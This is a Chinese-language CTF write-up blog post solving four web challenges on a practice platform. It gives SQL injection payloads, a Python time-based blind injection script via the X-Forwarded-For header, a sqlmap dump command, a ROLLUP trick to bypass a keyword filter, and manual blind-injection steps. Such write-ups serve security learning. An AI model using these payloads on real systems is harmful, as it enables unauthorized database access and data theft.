1. 程式人生 > >實驗吧WP(web部分)【登入一下好嗎,who are you, 因缺思汀的繞過,簡單的sql注入之3】【不想更新實驗吧了,伺服器太差】

實驗吧WP(web部分)【登入一下好嗎,who are you, 因缺思汀的繞過,簡單的sql注入之3】【不想更新實驗吧了,伺服器太差】

六. 登入一下好嗎?

通過這道題提示下寄幾:不是所有有關sql語句的注入都要報庫名錶名欄位名!!!

首先開啟這道題,是倆輸入框,輸入1和1有回顯,輸入union等字元會不顯示,想著應該是回顯注入

此時應自動腦補sql語句:select * from user where username = ' ' and password = ' '(後經驗證是這一個)

                              或者 select * from user where username = " " and password = " "

這時候想不開的我就開始想著如何單引號or各種爆庫名錶段欄位......發現幾乎想用的都被過濾了只剩下and,',",=這些。。臣妾做不到用這些個構造sql語句。。後來翻看了WP後豁然開腦洞,以下介紹三種方法

1.通過構造0 = 0把where後面的語句構造出1 and 1的形式

具體做法:在兩個提交框提交  aaa'='0  或  aaa'='   (aaa可為任何username裡沒有的字元甚至為空)

這樣做之後sql查詢語句就變成   select * from user where username = 'aaa'='0' and  password = 'aaa'='0

                                            或者 select * from user where username = 'aaa'='' and password ='aaa'=''

根據等號從前往後看的原則 username='aaa'顯然是不存在的,因此返回0(也可以說是空),看下一個等號就是 0=0(空=空)

,0=0(空=空)為1。password同理,所以語句變為select * from user where 1 and 1,爆出全部資料。

2.通過構造username=0爆出全部資料

這裡我們要知道,除了開頭是非零數的字串,其他字串化成整型都為0,字串=0 為真。

當所有username裡沒有開頭是非零數的字串,username=0相當於查全部資料.

所以我們構造 username=aaa'+0;%00

構成的sql語句為  select * from user where username = 'aaa'+0;%00 ' and password = ' '

因為--+,#,/**/等註釋符都被過濾了,我們用%00,是一個截斷符,相當於把後面的語句註釋掉

username='aaa'+0 相當於 username=0,得到答案


(當構造username=a'+0+'a&password=a'+0+'a時,只查詢出一條語句,說明password裡有開頭是非零數的字串)

3.通過構造異或語句(這個開腦洞)

先給出payload:username=\&password=^'aaa

構成的語句是 select * from user where username = ' \' and password = '^'aaa'

其中反斜槓把後面的單引號轉義掉了(相當於一個普通的字元),所以' \' and password = '就是一串字串,'aaa'也是一串字串,字串都為0,0⊕0=0,又構造出username=0了!!!!


七. who are you?

第一次遇到這種X-Forwarded-For Header,比較迷茫,看了WP之後才明白。

這道題思路  查你ip -> X-Forwarded-For可以改ip -> X-Forwarded-For除了數字竟然還能填字母,符號等 -> 能不能用X- Forwarded-For進行sql注入? 

在X-Forwarded-For Header改了之後網頁上查到的ip地址也就變成了你所改的內容

構造sql語句的時候發現,無論你構造什麼語句,返回頁面既不返回查詢結果(回顯注入),也不報錯或跳轉(報錯盲注),這時候只能用時間盲注。

時間盲注:通過sleep()函式和select case when...then...else...語法,try:except: 構造語句,使得當查詢到想要資訊時,讓網頁sleep一段時間,以達到查詢資訊的目的。

參考連結

經過各種py指令碼的查詢得表段名和欄位名都為flag(具體指令碼看參考連結)各指令碼思路基本一樣,下面貼出最後查詢flag時的指令碼。(萌新努力學習py指令碼注入奮鬥

#-*-coding:utf-8-*-
import requests
import string
url="http://ctf5.shiyanbar.com/web/wonderkun/index.php"
guess=string.lowercase + string.uppercase + string.digits
flag=""

for i in range(1,100):
    havetry=0
    for str in guess:
        headers={"x-forwarded-for":"' +(select case when (substring((select flag from flag ) from %d for 1 )='%s') then sleep(5) else 1 end ) and '1'='1" %(i,str)}
        try: 
            res=requests.get(url,headers=headers,timeout=4)
        except requests.exceptions.ReadTimeout, e:
            havetry=1
            flag = flag + str
            print "flag:", flag
            break
    if havetry==0:
        break
print 'result:' + flag

下面是我自己寫指令碼時遇到的一些問題

1.string.lowercase 所有小寫字母 string.uppercase 所有大寫字母 string.digits所有字元

2.sql查詢語句中從第一個select到最後的end(主要查詢語句)要用括號括起來。

3.(select case when (aaaa) then sleep(5) else 1 end)這條是主要查詢語句,當aaaa正確時,返回時間sleep五秒,否則返回1結束,時間可忽略不計

4.try...except...  執行try後的語句(get資料,看有沒有在四秒之內返回),如果執行失敗(返回超時,說明aaaa查詢成功,sleep了五秒)則執行except後語句。

5.指令碼執行過程中可能會會出現a,aa,aaa的狀況,這說明實驗吧題目伺服器又崩了,第一個查字母a的查詢返回時間就大於5s,所以指令碼誤認為是執行了sleep語句。

6.查名稱時要用到三個for巢狀,如查資料庫時第一個for判斷第n個數據庫,第二個for判斷當前資料庫第n個字元,第三個for是判斷當前字元查詢字母是否為str

6.寫指令碼時要多注意輸出人性化,比如查庫時用databasename儲存當前庫名,用database【】儲存所有庫名最後用for一起輸出,查字母時用print "trying",str 來方便出錯時判斷錯誤。

7.查表段數和欄位數時,發現表段數為42,欄位數為483。不可能一個個找,大神直接從後面開始找發現flag表段和flag欄位。

八. 因缺思汀的繞過

開啟這題,是倆提交框,就想著是不是注入或繞過。照例右鍵看原始碼,看到有原始碼提示

<!--source: source.txt-->

開啟這個txt檔案看到原始碼,以下貼關鍵原始碼

$filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)";
foreach($_POST as $key=>$value){ 
    AttackFilter($key,$value,$filter);
}

$con = mysql_connect("XXXXXX","XXXXXX","XXXXXX");
if (!$con){
	die('Could not connect: ' . mysql_error());
}
$db="XXXXXX";
mysql_select_db($db, $con);
$sql="SELECT * FROM interest WHERE uname = '{$_POST['uname']}'";
$query = mysql_query($sql); 
if (mysql_num_rows($query) == 1) { 
    $key = mysql_fetch_array($query);
    if($key['pwd'] == $_POST['pwd']) {
        print "CTF{XXXXXX}";
    }else{
        print "浜﹀彲璧涜墖錛�";
    }
}else{
	print "涓€棰楄禌鑹囷紒";
}
mysql_close($con);

從原始碼我們可以看出:

1.過濾了挺多字元的如and select from 這些,但不是全部,如or group by這些沒有去掉(因為下面有原始碼提示是程式碼審計題,所以就不用往繞過注入這方面想了)

2.my_num_rows($query)==1 這句話我的理解就是進入到構造陣列階段的資料只能是一列,說明用到limit 1。

3.我們需要提交的uname是要查詢的資料名uname=?,返回這個資料所有列資料並且構成一個數組mysql_fetch_array($query)

4.提交的pwd要求其值與其作為條件三獲得的陣列下標返回的值是一樣的,獲得flag。

我的思路:第一眼就看到判陣列值和pwd值是否相等時只用了==而不是===,那麼如果陣列的第0個元素為字母或0時,返回的字母==0。但遇到問題,我們根本不知道列名沒辦法用uname返回資料....。然後我又想到構造uname=' or 1=1從而返回所有的列名再與pwd的0進行比較,仍然不行,說明uname的第一條資料的首字元並不是字母或0。

大佬的思路:先給payload

這裡主要用到了group by XXX with rollup這個語句,在返回的查詢結果最後,加上一行pwd為NULL的結果。再用limit 1 offset 2讓最後一行構造成為陣列。這樣pwd為空值,構造的陣列下標為空值時返回的pwd結果也為空值,達成$key['pwd']=$_post['pwd']的條件

group by XXX with rollup的用法:例子

我的理解就是group by XXX(XXX為某一個列名)就是把XXX中名字相同的合併,其他值取平均(若是字串就拼接),然後加個with rollup就是在最後一行資料加一行XXX為NULL的資料,除XXX項外的其他列資料取平均(若是字串就隨便選一個?)

至於為什麼陣列下標為空值時返回的pwd也為空值,因為用"' or 1=1 oreder by XX limit 1#",查出表只有兩列,就只有uname和pwd倆列,且pwd排在前面。我們不知道有多少條資料的情況下,用limit 1 offset XX,XX為數字一個個試試,最後查到第三條資料中pwd的值為NULL。取最後一條資料構造陣列,當陣列下標為空時,取第一欄位也就是pwd的值為NULL,故NULL==NULL,通過。

九. 簡單的sql注入

這道題真是個簡單的sql注入,但在做題過程中遇到了一些困難,也學到了不少。

首先這道題是可以直接用sqlmap跑出來的,甚至不用加其他引數直接用url跑就可以(在我的印象中,sqlmap加的引數越多跑出來的可能性越大)

>python sqlmap.py -u"http://ctf5.shiyanbar.com/web/index_3.php?id=1" -D"web1" -T"flag" -C"flag" --dump


手工的話就按步驟來

1.單引號,報錯了,並且有回顯(但這並不是回顯注入,因為當出現正確語句時不能回顯)

2.' and '1'='1 和 ' and '1'='2 可知,當語句正確時返回Hello!,語句錯誤時候返回空(我們可以根據這點進行盲注)

3.構造語句1' and (select count(*) from 表名) > 0 # ,放到bp中抓包用表名字典跑,(列名也同理),最後跑出表名和列名都為flag。

4.接下來就是構造1' ascii(substr((select flag from flag),num1,1))=num2 and '1' ='1來盲注flag了,用bp自帶的爆破來同時爆破num1和num2也好,寫python指令碼也好,最後得出答案。

說下存在問題的地方,寫了個Python指令碼,用if "Hello!" in re.text作為判定條件,也就是當Hello!這些字元存在在返回原始碼的時候就說明ascii正確,從而輸出當前ascii碼的字元,跳入下一個字元的檢驗。但後來我發現怎麼也沒有進到if語句中,仔細檢查後發現


對比正常的原始碼,用request(url).text返回的原始碼沒含有<font size="5">Hello!<br></font>這一段是沒有的!!!怪不得檢測不到。